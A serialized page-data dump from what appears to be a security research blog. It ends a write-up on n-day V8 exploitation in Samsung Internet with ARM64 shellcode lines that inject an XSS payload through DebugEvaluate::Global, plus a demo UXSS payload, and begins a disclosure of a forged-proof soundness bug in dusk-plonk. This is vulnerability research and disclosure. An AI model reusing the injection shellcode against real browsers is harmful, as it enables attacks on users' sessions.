x0\n",{"type":23,"tag":230,"props":143271,"children":143272},{"class":232,"line":4776},[143273],{"type":23,"tag":230,"props":143274,"children":143275},{"emptyLinePlaceholder":18},[143276],{"type":29,"value":459},{"type":23,"tag":230,"props":143278,"children":143279},{"class":232,"line":4784},[143280],{"type":23,"tag":230,"props":143281,"children":143282},{},[143283],{"type":29,"value":143284},"// pop back isolate pointer\n",{"type":23,"tag":230,"props":143286,"children":143287},{"class":232,"line":4792},[143288],{"type":23,"tag":230,"props":143289,"children":143290},{},[143291],{"type":29,"value":143292},"ldr x13, [sp], #16\n",{"type":23,"tag":230,"props":143294,"children":143295},{"class":232,"line":4824},[143296],{"type":23,"tag":230,"props":143297,"children":143298},{"emptyLinePlaceholder":18},[143299],{"type":29,"value":459},{"type":23,"tag":230,"props":143301,"children":143302},{"class":232,"line":4832},[143303],{"type":23,"tag":230,"props":143304,"children":143305},{},[143306],{"type":29,"value":141599},{"type":23,"tag":230,"props":143308,"children":143309},{"class":232,"line":4840},[143310],{"type":23,"tag":230,"props":143311,"children":143312},{},[143313],{"type":29,"value":143314},"// x13 = isolate *\n",{"type":23,"tag":230,"props":143316,"children":143317},{"class":232,"line":4901},[143318],{"type":23,"tag":230,"props":143319,"children":143320},{},[143321],{"type":29,"value":143322},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":23,"tag":230,"props":143324,"children":143325},{"class":232,"line":4909},[143326],{"type":23,"tag":230,"props":143327,"children":143328},{},[143329],{"type":29,"value":143330},"// x10 = v8::String::NewFromUtf8\n",{"type":23,"tag":230,"props":143332,"children":143333},{"class":232,"line":4938},[143334],{"type":23,"tag":230,"props":143335,"children":143336},{"emptyLinePlaceholder":18},[143337],{"type":29,"value":459},{"type":23,"tag":230,"props":143339,"children":143340},{"class":232,"line":4957},[143341],{"type":23,"tag":230,"props":143342,"children":143343},{},[143344],{"type":29,"value":143345},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":23,"tag":230,"props":143347,"children":143348},{"class":232,"line":4973},[143349],{"type":23,"tag":230,"props":143350,"children":143351},{},[143352],{"type":29,"value":143353},"// arg0 = isolate *\n",{"type":23,"tag":230,"props":143355,"children":143356},{"class":232,"line":4990},[143357],{"type":23,"tag":230,"props":143358,"children":143359},{},[143360],{"type":29,"value":143361},"mov x0, x13\n",{"type":23,"tag":230,"props":143363,"children":143364},{"class":232,"line":5006},[143365],{"type":23,"tag":230,"props":143366,"children":143367},{},[143368],{"type":29,"value":143369},"// arg1 = char *c_str\n",{"type":23,"tag":230,"props":143371,"children":143372},{"class":232,"line":5019},[143373],{"type":23,"tag":230,"props":143374,"children":143375},{},[143376],{"type":29,"value":143377},"mov x1, x11\n",{"type":23,"tag":230,"props":143379,"children":143380},{"class":232,"line":5050},[143381],{"type":23,"tag":230,"props":143382,"children":143383},{},[143384],{"type":29,"value":143385},"// arg2 = type = kNormal\n",{"type":23,"tag":230,"props":143387,"children":143388},{"class":232,"line":5058},[143389],{"type":23,"tag":230,"props":143390,"children":143391},{},[143392],{"type":29,"value":143393},"mov x2, #0\n",{"type":23,"tag":230,"props":143395,"children":143396},{"class":232,"line":26228},[143397],{"type":23,"tag":230,"props":143398,"children":143399},{},[143400],{"type":29,"value":143401},"// arg4 = length\n",{"type":23,"tag":230,"props":143403,"children":143404},{"class":232,"line":34574},[143405],{"type":23,"tag":230,"props":143406,"children":143407},{},[143408],{"type":29,"value":143409},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":23,"tag":230,"props":143411,"children":143412},{"class":232,"line":34595},[143413],{"type":23,"tag":230,"props":143414,"children":143415},{},[143416],{"type":29,"value":143417},"// call NewFromUTF8\n",{"type":23,"tag":230,"props":143419,"children":143420},{"class":232,"line":82730},[143421],{"type":23,"tag":230,"props":143422,"children":143423},{},[143424],{"type":29,"value":143425},"blr x10\n",{"type":23,"tag":230,"props":143427,"children":143428},{"class":232,"line":82743},[143429],{"type":23,"tag":230,"props":143430,"children":143431},{"emptyLinePlaceholder":18},[143432],{"type":29,"value":459},{"type":23,"tag":230,"props":143434,"children":143435},{"class":232,"line":82751},[143436],{"type":23,"tag":230,"props":143437,"children":143438},{},[143439],{"type":29,"value":143440},"// store x14 = String XSS_PAYLOAD\n",{"type":23,"tag":230,"props":143442,"children":143443},{"class":232,"line":82759},[143444],{"type":23,"tag":230,"props":143445,"children":143446},{},[143447],{"type":29,"value":143448},"mov x14, x0\n",{"type":23,"tag":230,"props":143450,"children":143451},{"class":232,"line":82767},[143452],{"type":23,"tag":230,"props":143453,"children":143454},{"emptyLinePlaceholder":18},[143455],{"type":29,"value":459},{"type":23,"tag":230,"props":143457,"children":143458},{"class":232,"line":82807},[143459],{"type":23,"tag":230,"props":143460,"children":143461},{},[143462],{"type":29,"value":143463},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":230,"props":143465,"children":143466},{"class":232,"line":82815},[143467],{"type":23,"tag":230,"props":143468,"children":143469},{},[143470],{"type":29,"value":143471},"movz x1, #0xe44c\n",{"type":23,"tag":230,"props":143473,"children":143474},{"class":232,"line":90002},[143475],{"type":23,"tag":230,"props":143476,"children":143477},{},[143478],{"type":29,"value":143479},"movk x1, #0x014e, lsl #16\n",{"type":23,"tag":230,"props":143481,"children":143482},{"class":232,"line":90010},[143483],{"type":23,"tag":230,"props":143484,"children":143485},{},[143486],{"type":29,"value":143487},"sub x9, x12, x1\n",{"type":23,"tag":230,"props":143489,"children":143490},{"class":232,"line":103356},[143491],{"type":23,"tag":230,"props":143492,"children":143493},{"emptyLinePlaceholder":18},[143494],{"type":29,"value":459},{"type":23,"tag":230,"props":143496,"children":143497},{"class":232,"line":103364},[143498],{"type":23,"tag":230,"props":143499,"children":143500},{},[143501],{"type":29,"value":143502},"// call v8::internal::DebugEvaluate::Global\n",{"type":23,"tag":230,"props":143504,"children":143505},{"class":232,"line":103372},[143506],{"type":23,"tag":230,"props":143507,"children":143508},{},[143509],{"type":29,"value":143353},{"type":23,"tag":230,"props":143511,"children":143512},{"class":232,"line":103380},[143513],{"type":23,"tag":230,"props":143514,"children":143515},{},[143516],{"type":29,"value":143361},{"type":23,"tag":230,"props":143518,"children":143519},{"class":232,"line":103408},[143520],{"type":23,"tag":230,"props":143521,"children":143522},{},[143523],{"type":29,"value":143524},"// arg1 = String *source\n",{"type":23,"tag":230,"props":143526,"children":143527},{"class":232,"line":106179},[143528],{"type":23,"tag":230,"props":143529,"children":143530},{},[143531],{"type":29,"value":143532},"mov x1, x14\n",{"type":23,"tag":230,"props":143534,"children":143535},{"class":232,"line":106187},[143536],{"type":23,"tag":230,"props":143537,"children":143538},{},[143539],{"type":29,"value":143540},"// arg2 = mode = kDefault\n",{"type":23,"tag":230,"props":143542,"children":143544},{"class":232,"line":143543},69,[143545],{"type":23,"tag":230,"props":143546,"children":143547},{},[143548],{"type":29,"value":143393},{"type":23,"tag":230,"props":143550,"children":143552},{"class":232,"line":143551},70,[143553],{"type":23,"tag":230,"props":143554,"children":143555},{},[143556],{"type":29,"value":143557},"// arg3 = repl_mode = kYes\n",{"type":23,"tag":230,"props":143559,"children":143561},{"class":232,"line":143560},71,[143562],{"type":23,"tag":230,"props":143563,"children":143564},{},[143565],{"type":29,"value":143566},"mov x3, #0\n",{"type":23,"tag":230,"props":143568,"children":143570},{"class":232,"line":143569},72,[143571],{"type":23,"tag":230,"props":143572,"children":143573},{"emptyLinePlaceholder":18},[143574],{"type":29,"value":459},{"type":23,"tag":230,"props":143576,"children":143578},{"class":232,"line":143577},73,[143579],{"type":23,"tag":230,"props":143580,"children":143581},{},[143582],{"type":29,"value":143079},{"type":23,"tag":59,"props":143584,"children":143586},{"id":143585},"uxss-demo",[143587],{"type":29,"value":143588},"UXSS Demo",{"type":23,"tag":32,"props":143590,"children":143591},{},[143592,143594,143600],{"type":29,"value":143593},"Below is a demo that executes the following UXSS payload: ",{"type":23,"tag":71,"props":143595,"children":143597},{"className":143596},[],[143598],{"type":29,"value":143599},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":29,"value":312},{"type":23,"tag":133637,"props":143602,"children":143605},{"className":143603,"controls":18},[143604],"blog-video-responsive",[143606,143608,143612],{"type":29,"value":143607},"\n  ",{"type":23,"tag":142843,"props":143609,"children":143611},{"src":143610,"type":133635},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":29,"value":143613},"\n  Your browser does not support the video tag.\n",{"type":23,"tag":24,"props":143615,"children":143616},{"id":5163},[143617],{"type":29,"value":5166},{"type":23,"tag":32,"props":143619,"children":143620},{},[143621],{"type":29,"value":143622},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":23,"tag":32,"props":143624,"children":143625},{},[143626],{"type":29,"value":143627},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":23,"tag":5178,"props":143629,"children":143630},{},[143631],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":143633},[143634,143638,143641,143651],{"id":31322,"depth":243,"text":31325,"children":143635},[143636,143637],{"id":133771,"depth":252,"text":133774},{"id":133854,"depth":252,"text":133857},{"id":133887,"depth":243,"text":133890,"children":143639},[143640],{"id":134028,"depth":252,"text":133882},{"id":134172,"depth":243,"text":134175,"children":143642},[143643,143644,143645,143646,143647,143648,143649,143650],{"id":134178,"depth":252,"text":134181},{"id":134635,"depth":252,"text":134638},{"id":134818,"depth":252,"text":134821},{"id":134929,"depth":252,"text":134932},{"id":135206,"depth":252,"text":135209},{"id":137916,"depth":252,"text":137919},{"id":141197,"depth":252,"text":141200},{"id":143585,"depth":252,"text":143588},{"id":5163,"depth":243,"text":5166},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":143656,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":143657,"description":143658,"date":143659,"author":143660,"image":143661,"isFeatured":18,"onBlogPage":18,"tags":143663,"body":143666,"_type":5202,"_id":148930,"_source":5204,"_file":148931,"_stem":148932,"_extension":5207},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[109617,109618],{"src":143662,"width":99047,"height":16},"/posts/dusk-commitment-issues/title.png",[143664,143665],"dusk","plonk",{"type":20,"children":143667,"toc":148910},[143668,143674,143715,143727,143733,143747,143752,143758,144049,144053,144325,144555,144561,145246,145250,145745,145753,145759,145778,145783,145789,146014,146053,146064,146070,146081,146789,146794,146797,146803,146856,146891,146923,146928,146932,146935,146941,146952,146965,146996,147063,147071,147093,147106,147533,147556,147561,147564,147569,147596,147692,147703,147750,147788,147799,148137,148154,148162,148165,148171,148176,148210,148218,148299,148302,148308,148322,148340,148345,148385,148393,148414,148417,148423,148428,148493,148507,148510,148516,148556,148567,148572,148577,148583,148597,148678,148699,148726,148729,148735,148749,148754,148759,148764,148899,148905],{"type":23,"tag":37658,"props":143669,"children":143671},{"id":143670},"commitment-issues-unverified-evaluations-in-dusks-plonk",[143672],{"type":29,"value":143673},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":23,"tag":32,"props":143675,"children":143676},{},[143677,143679,143686,143688,143695,143697,143704,143706,143713],{"type":29,"value":143678},"We found a critical soundness vulnerability in ",{"type":23,"tag":181,"props":143680,"children":143683},{"href":143681,"rel":143682},"https://github.com/dusk-network/plonk/",[185],[143684],{"type":29,"value":143685},"dusk-plonk",{"type":29,"value":143687},", the PLONK implementation powering ",{"type":23,"tag":181,"props":143689,"children":143692},{"href":143690,"rel":143691},"https://dusk.network/",[185],[143693],{"type":29,"value":143694},"Dusk Network's",{"type":29,"value":143696}," ~$60M ",{"type":23,"tag":181,"props":143698,"children":143701},{"href":143699,"rel":143700},"https://www.coingecko.com/en/coins/dusk",[185],[143702],{"type":29,"value":143703},"market cap",{"type":29,"value":143705},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":23,"tag":181,"props":143707,"children":143710},{"href":143708,"rel":143709},"https://github.com/dusk-network/rusk",[185],[143711],{"type":29,"value":143712},"Rusk",{"type":29,"value":143714}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":23,"tag":32,"props":143716,"children":143717},{},[143718,143720,143725],{"type":29,"value":143719},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":23,"tag":2302,"props":143721,"children":143722},{},[143723],{"type":29,"value":143724},"without ever validating them against the trusted commitments in the verifier key.",{"type":29,"value":143726}," The prover can set them to whatever values make the equation pass.",{"type":23,"tag":24,"props":143728,"children":143730},{"id":143729},"how-plonk-works-briefly",[143731],{"type":29,"value":143732},"How PLONK works (briefly)",{"type":23,"tag":32,"props":143734,"children":143735},{},[143736,143738,143745],{"type":29,"value":143737},"For a rigorous treatment see the ",{"type":23,"tag":181,"props":143739,"children":143742},{"href":143740,"rel":143741},"https://eprint.iacr.org/2019/953",[185],[143743],{"type":29,"value":143744},"original paper",{"type":29,"value":143746},"; what follows covers only the parts needed to understand the bug.",{"type":23,"tag":32,"props":143748,"children":143749},{},[143750],{"type":29,"value":143751},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":23,"tag":59,"props":143753,"children":143755},{"id":143754},"arithmetic-circuits-and-constraints",[143756],{"type":29,"value":143757},"Arithmetic circuits and constraints",{"type":23,"tag":32,"props":143759,"children":143760},{},[143761,143763,143812,143814,143963,143965,144048],{"type":29,"value":143762},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":23,"tag":71,"props":143764,"children":143766},{"className":143765},[6318,6319],[143767],{"type":23,"tag":230,"props":143768,"children":143770},{"className":143769},[6324],[143771],{"type":23,"tag":230,"props":143772,"children":143774},{"className":143773,"ariaHidden":1726},[6329],[143775],{"type":23,"tag":230,"props":143776,"children":143778},{"className":143777},[6334],[143779,143783,143788,143793,143798,143802,143807],{"type":23,"tag":230,"props":143780,"children":143782},{"className":143781,"style":6447},[6339],[],{"type":23,"tag":230,"props":143784,"children":143786},{"className":143785},[24031],[143787],{"type":29,"value":302},{"type":23,"tag":230,"props":143789,"children":143791},{"className":143790},[6345,23902],[143792],{"type":29,"value":4511},{"type":23,"tag":230,"props":143794,"children":143796},{"className":143795},[6458],[143797],{"type":29,"value":6461},{"type":23,"tag":230,"props":143799,"children":143801},{"className":143800,"style":6465},[6426],[],{"type":23,"tag":230,"props":143803,"children":143805},{"className":143804,"style":95312},[6345,23902],[143806],{"type":29,"value":5453},{"type":23,"tag":230,"props":143808,"children":143810},{"className":143809},[24053],[143811],{"type":29,"value":5467},{"type":29,"value":143813}," on an elliptic curve, by e.g proving that ",{"type":23,"tag":71,"props":143815,"children":143817},{"className":143816},[6318,6319],[143818],{"type":23,"tag":230,"props":143819,"children":143821},{"className":143820},[6324],[143822],{"type":23,"tag":230,"props":143823,"children":143825},{"className":143824,"ariaHidden":1726},[6329],[143826,143888,143950],{"type":23,"tag":230,"props":143827,"children":143829},{"className":143828},[6334],[143830,143834,143875,143879,143884],{"type":23,"tag":230,"props":143831,"children":143833},{"className":143832,"style":125163},[6339],[],{"type":23,"tag":230,"props":143835,"children":143837},{"className":143836},[6345],[143838,143843],{"type":23,"tag":230,"props":143839,"children":143841},{"className":143840,"style":95312},[6345,23902],[143842],{"type":29,"value":5453},{"type":23,"tag":230,"props":143844,"children":143846},{"className":143845},[6362],[143847],{"type":23,"tag":230,"props":143848,"children":143850},{"className":143849},[6367],[143851],{"type":23,"tag":230,"props":143852,"children":143854},{"className":143853},[6372],[143855],{"type":23,"tag":230,"props":143856,"children":143858},{"className":143857,"style":6340},[6377],[143859],{"type":23,"tag":230,"props":143860,"children":143861},{"style":6381},[143862,143866],{"type":23,"tag":230,"props":143863,"children":143865},{"className":143864,"style":6387},[6386],[],{"type":23,"tag":230,"props":143867,"children":143869},{"className":143868},[6392,6393,6394,6395],[143870],{"type":23,"tag":230,"props":143871,"children":143873},{"className":143872},[6345,6395],[143874],{"type":29,"value":5462},{"type":23,"tag":230,"props":143876,"children":143878},{"className":143877,"style":6524},[6426],[],{"type":23,"tag":230,"props":143880,"children":143882},{"className":143881},[6529],[143883],{"type":29,"value":863},{"type":23,"tag":230,"props":143885,"children":143887},{"className":143886,"style":6524},[6426],[],{"type":23,"tag":230,"props":143889,"children":143891},{"className":143890},[6334],[143892,143896,143937,143941,143946],{"type":23,"tag":230,"props":143893,"children":143895},{"className":143894,"style":125038},[6339],[],{"type":23,"tag":230,"props":143897,"children":143899},{"className":143898},[6345],[143900,143905],{"type":23,"tag":230,"props":143901,"children":143903},{"className":143902},[6345,23902],[143904],{"type":29,"value":4511},{"type":23,"tag":230,"props":143906,"children":143908},{"className":143907},[6362],[143909],{"type":23,"tag":230,"props":143910,"children":143912},{"className":143911},[6367],[143913],{"type":23,"tag":230,"props":143914,"children":143916},{"className":143915},[6372],[143917],{"type":23,"tag":230,"props":143918,"children":143920},{"className":143919,"style":6340},[6377],[143921],{"type":23,"tag":230,"props":143922,"children":143923},{"style":6381},[143924,143928],{"type":23,"tag":230,"props":143925,"children":143927},{"className":143926,"style":6387},[6386],[],{"type":23,"tag":230,"props":143929,"children":143931},{"className":143930},[6392,6393,6394,6395],[143932],{"type":23,"tag":230,"props":143933,"children":143935},{"className":143934},[6345,6395],[143936],{"type":29,"value":19616},{"type":23,"tag":230,"props":143938,"children":143940},{"className":143939,"style":6427},[6426],[],{"type":23,"tag":230,"props":143942,"children":143944},{"className":143943},[6432],[143945],{"type":29,"value":6719},{"type":23,"tag":230,"props":143947,"children":143949},{"className":143948,"style":6427},[6426],[],{"type":23,"tag":230,"props":143951,"children":143953},{"className":143952},[6334],[143954,143958],{"type":23,"tag":230,"props":143955,"children":143957},{"className":143956,"style":95857},[6339],[],{"type":23,"tag":230,"props":143959,"children":143961},{"className":143960},[6345],[143962],{"type":29,"value":56444},{"type":29,"value":143964},", here in ",{"type":23,"tag":71,"props":143966,"children":143968},{"className":143967},[6318,6319],[143969],{"type":23,"tag":230,"props":143970,"children":143972},{"className":143971},[6324],[143973],{"type":23,"tag":230,"props":143974,"children":143976},{"className":143975,"ariaHidden":1726},[6329],[143977],{"type":23,"tag":230,"props":143978,"children":143980},{"className":143979},[6334],[143981,143986],{"type":23,"tag":230,"props":143982,"children":143985},{"className":143983,"style":143984},[6339],"height:0.8389em;vertical-align:-0.15em;",[],{"type":23,"tag":230,"props":143987,"children":143989},{"className":143988},[6345],[143990,143995],{"type":23,"tag":230,"props":143991,"children":143993},{"className":143992},[6345,123601],[143994],{"type":29,"value":123604},{"type":23,"tag":230,"props":143996,"children":143998},{"className":143997},[6362],[143999],{"type":23,"tag":230,"props":144000,"children":144002},{"className":144001},[6367,23956],[144003,144037],{"type":23,"tag":230,"props":144004,"children":144006},{"className":144005},[6372],[144007,144032],{"type":23,"tag":230,"props":144008,"children":144010},{"className":144009,"style":94878},[6377],[144011],{"type":23,"tag":230,"props":144012,"children":144013},{"style":94882},[144014,144018],{"type":23,"tag":230,"props":144015,"children":144017},{"className":144016,"style":6387},[6386],[],{"type":23,"tag":230,"props":144019,"children":144021},{"className":144020},[6392,6393,6394,6395],[144022],{"type":23,"tag":230,"props":144023,"children":144025},{"className":144024},[6345,6395],[144026],{"type":23,"tag":230,"props":144027,"children":144029},{"className":144028},[6345,6395],[144030],{"type":29,"value":144031},"37",{"type":23,"tag":230,"props":144033,"children":144035},{"className":144034},[24059],[144036],{"type":29,"value":24062},{"type":23,"tag":230,"props":144038,"children":144040},{"className":144039},[6372],[144041],{"type":23,"tag":230,"props":144042,"children":144044},{"className":144043,"style":94909},[6377],[144045],{"type":23,"tag":230,"props":144046,"children":144047},{},[],{"type":29,"value":312},{"type":23,"tag":144050,"props":144051,"children":144052},"arithmetic-circuit-widget",{},[],{"type":23,"tag":32,"props":144054,"children":144055},{},[144056,144058,144084,144086,144165,144167,144244,144246,144323],{"type":29,"value":144057},"Each gate ",{"type":23,"tag":71,"props":144059,"children":144061},{"className":144060},[6318,6319],[144062],{"type":23,"tag":230,"props":144063,"children":144065},{"className":144064},[6324],[144066],{"type":23,"tag":230,"props":144067,"children":144069},{"className":144068,"ariaHidden":1726},[6329],[144070],{"type":23,"tag":230,"props":144071,"children":144073},{"className":144072},[6334],[144074,144079],{"type":23,"tag":230,"props":144075,"children":144078},{"className":144076,"style":144077},[6339],"height:0.6595em;",[],{"type":23,"tag":230,"props":144080,"children":144082},{"className":144081},[6345,23902],[144083],{"type":29,"value":6074},{"type":29,"value":144085}," has a left input ",{"type":23,"tag":71,"props":144087,"children":144089},{"className":144088},[6318,6319],[144090],{"type":23,"tag":230,"props":144091,"children":144093},{"className":144092},[6324],[144094],{"type":23,"tag":230,"props":144095,"children":144097},{"className":144096,"ariaHidden":1726},[6329],[144098],{"type":23,"tag":230,"props":144099,"children":144101},{"className":144100},[6334],[144102,144107],{"type":23,"tag":230,"props":144103,"children":144106},{"className":144104,"style":144105},[6339],"height:0.8444em;vertical-align:-0.15em;",[],{"type":23,"tag":230,"props":144108,"children":144110},{"className":144109},[6345],[144111,144116],{"type":23,"tag":230,"props":144112,"children":144114},{"className":144113,"style":94838},[6345,23902],[144115],{"type":29,"value":94841},{"type":23,"tag":230,"props":144117,"children":144119},{"className":144118},[6362],[144120],{"type":23,"tag":230,"props":144121,"children":144123},{"className":144122},[6367,23956],[144124,144154],{"type":23,"tag":230,"props":144125,"children":144127},{"className":144126},[6372],[144128,144149],{"type":23,"tag":230,"props":144129,"children":144131},{"className":144130,"style":95355},[6377],[144132],{"type":23,"tag":230,"props":144133,"children":144135},{"style":144134},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[144136,144140],{"type":23,"tag":230,"props":144137,"children":144139},{"className":144138,"style":6387},[6386],[],{"type":23,"tag":230,"props":144141,"children":144143},{"className":144142},[6392,6393,6394,6395],[144144],{"type":23,"tag":230,"props":144145,"children":144147},{"className":144146},[6345,23902,6395],[144148],{"type":29,"value":6074},{"type":23,"tag":230,"props":144150,"children":144152},{"className":144151},[24059],[144153],{"type":29,"value":24062},{"type":23,"tag":230,"props":144155,"children":144157},{"className":144156},[6372],[144158],{"type":23,"tag":230,"props":144159,"children":144161},{"className":144160,"style":94909},[6377],[144162],{"type":23,"tag":230,"props":144163,"children":144164},{},[],{"type":29,"value":144166},", right input ",{"type":23,"tag":71,"props":144168,"children":144170},{"className":144169},[6318,6319],[144171],{"type":23,"tag":230,"props":144172,"children":144174},{"className":144173},[6324],[144175],{"type":23,"tag":230,"props":144176,"children":144178},{"className":144177,"ariaHidden":1726},[6329],[144179],{"type":23,"tag":230,"props":144180,"children":144182},{"className":144181},[6334],[144183,144187],{"type":23,"tag":230,"props":144184,"children":144186},{"className":144185,"style":111796},[6339],[],{"type":23,"tag":230,"props":144188,"children":144190},{"className":144189},[6345],[144191,144196],{"type":23,"tag":230,"props":144192,"children":144194},{"className":144193,"style":94826},[6345,23902],[144195],{"type":29,"value":95645},{"type":23,"tag":230,"props":144197,"children":144199},{"className":144198},[6362],[144200],{"type":23,"tag":230,"props":144201,"children":144203},{"className":144202},[6367,23956],[144204,144233],{"type":23,"tag":230,"props":144205,"children":144207},{"className":144206},[6372],[144208,144228],{"type":23,"tag":230,"props":144209,"children":144211},{"className":144210,"style":95355},[6377],[144212],{"type":23,"tag":230,"props":144213,"children":144214},{"style":111825},[144215,144219],{"type":23,"tag":230,"props":144216,"children":144218},{"className":144217,"style":6387},[6386],[],{"type":23,"tag":230,"props":144220,"children":144222},{"className":144221},[6392,6393,6394,6395],[144223],{"type":23,"tag":230,"props":144224,"children":144226},{"className":144225},[6345,23902,6395],[144227],{"type":29,"value":6074},{"type":23,"tag":230,"props":144229,"children":144231},{"className":144230},[24059],[144232],{"type":29,"value":24062},{"type":23,"tag":230,"props":144234,"children":144236},{"className":144235},[6372],[144237],{"type":23,"tag":230,"props":144238,"children":144240},{"className":144239,"style":94909},[6377],[144241],{"type":23,"tag":230,"props":144242,"children":144243},{},[],{"type":29,"value":144245},", and output ",{"type":23,"tag":71,"props":144247,"children":144249},{"className":144248},[6318,6319],[144250],{"type":23,"tag":230,"props":144251,"children":144253},{"className":144252},[6324],[144254],{"type":23,"tag":230,"props":144255,"children":144257},{"className":144256,"ariaHidden":1726},[6329],[144258],{"type":23,"tag":230,"props":144259,"children":144261},{"className":144260},[6334],[144262,144266],{"type":23,"tag":230,"props":144263,"children":144265},{"className":144264,"style":111796},[6339],[],{"type":23,"tag":230,"props":144267,"children":144269},{"className":144268},[6345],[144270,144275],{"type":23,"tag":230,"props":144271,"children":144273},{"className":144272},[6345,23902],[144274],{"type":29,"value":94796},{"type":23,"tag":230,"props":144276,"children":144278},{"className":144277},[6362],[144279],{"type":23,"tag":230,"props":144280,"children":144282},{"className":144281},[6367,23956],[144283,144312],{"type":23,"tag":230,"props":144284,"children":144286},{"className":144285},[6372],[144287,144307],{"type":23,"tag":230,"props":144288,"children":144290},{"className":144289,"style":95355},[6377],[144291],{"type":23,"tag":230,"props":144292,"children":144293},{"style":94882},[144294,144298],{"type":23,"tag":230,"props":144295,"children":144297},{"className":144296,"style":6387},[6386],[],{"type":23,"tag":230,"props":144299,"children":144301},{"className":144300},[6392,6393,6394,6395],[144302],{"type":23,"tag":230,"props":144303,"children":144305},{"className":144304},[6345,23902,6395],[144306],{"type":29,"value":6074},{"type":23,"tag":230,"props":144308,"children":144310},{"className":144309},[24059],[144311],{"type":29,"value":24062},{"type":23,"tag":230,"props":144313,"children":144315},{"className":144314},[6372],[144316],{"type":23,"tag":230,"props":144317,"children":144319},{"className":144318,"style":94909},[6377],[144320],{"type":23,"tag":230,"props":144321,"children":144322},{},[],{"type":29,"value":144324},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":23,"tag":32,"props":144326,"children":144327},{},[144328,144330,144335,144337,144441,144443,144546,144548,144553],{"type":29,"value":144329},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":23,"tag":2258,"props":144331,"children":144332},{},[144333],{"type":29,"value":144334},"selector",{"type":29,"value":144336}," values that act as switches: setting ",{"type":23,"tag":71,"props":144338,"children":144340},{"className":144339},[6318,6319],[144341],{"type":23,"tag":230,"props":144342,"children":144344},{"className":144343},[6324],[144345],{"type":23,"tag":230,"props":144346,"children":144348},{"className":144347,"ariaHidden":1726},[6329],[144349,144428],{"type":23,"tag":230,"props":144350,"children":144352},{"className":144351},[6334],[144353,144357,144415,144419,144424],{"type":23,"tag":230,"props":144354,"children":144356},{"className":144355,"style":111716},[6339],[],{"type":23,"tag":230,"props":144358,"children":144360},{"className":144359},[6345],[144361,144366],{"type":23,"tag":230,"props":144362,"children":144364},{"className":144363,"style":95312},[6345,23902],[144365],{"type":29,"value":95315},{"type":23,"tag":230,"props":144367,"children":144369},{"className":144368},[6362],[144370],{"type":23,"tag":230,"props":144371,"children":144373},{"className":144372},[6367,23956],[144374,144404],{"type":23,"tag":230,"props":144375,"children":144377},{"className":144376},[6372],[144378,144399],{"type":23,"tag":230,"props":144379,"children":144382},{"className":144380,"style":144381},[6377],"height:0.3283em;",[144383],{"type":23,"tag":230,"props":144384,"children":144385},{"style":95359},[144386,144390],{"type":23,"tag":230,"props":144387,"children":144389},{"className":144388,"style":6387},[6386],[],{"type":23,"tag":230,"props":144391,"children":144393},{"className":144392},[6392,6393,6394,6395],[144394],{"type":23,"tag":230,"props":144395,"children":144397},{"className":144396,"style":96834},[6345,23902,6395],[144398],{"type":29,"value":96837},{"type":23,"tag":230,"props":144400,"children":144402},{"className":144401},[24059],[144403],{"type":29,"value":24062},{"type":23,"tag":230,"props":144405,"children":144407},{"className":144406},[6372],[144408],{"type":23,"tag":230,"props":144409,"children":144411},{"className":144410,"style":94909},[6377],[144412],{"type":23,"tag":230,"props":144413,"children":144414},{},[],{"type":23,"tag":230,"props":144416,"children":144418},{"className":144417,"style":6524},[6426],[],{"type":23,"tag":230,"props":144420,"children":144422},{"className":144421},[6529],[144423],{"type":29,"value":863},{"type":23,"tag":230,"props":144425,"children":144427},{"className":144426,"style":6524},[6426],[],{"type":23,"tag":230,"props":144429,"children":144431},{"className":144430},[6334],[144432,144436],{"type":23,"tag":230,"props":144433,"children":144435},{"className":144434,"style":95857},[6339],[],{"type":23,"tag":230,"props":144437,"children":144439},{"className":144438},[6345],[144440],{"type":29,"value":6348},{"type":29,"value":144442}," makes a row a multiplication gate, setting 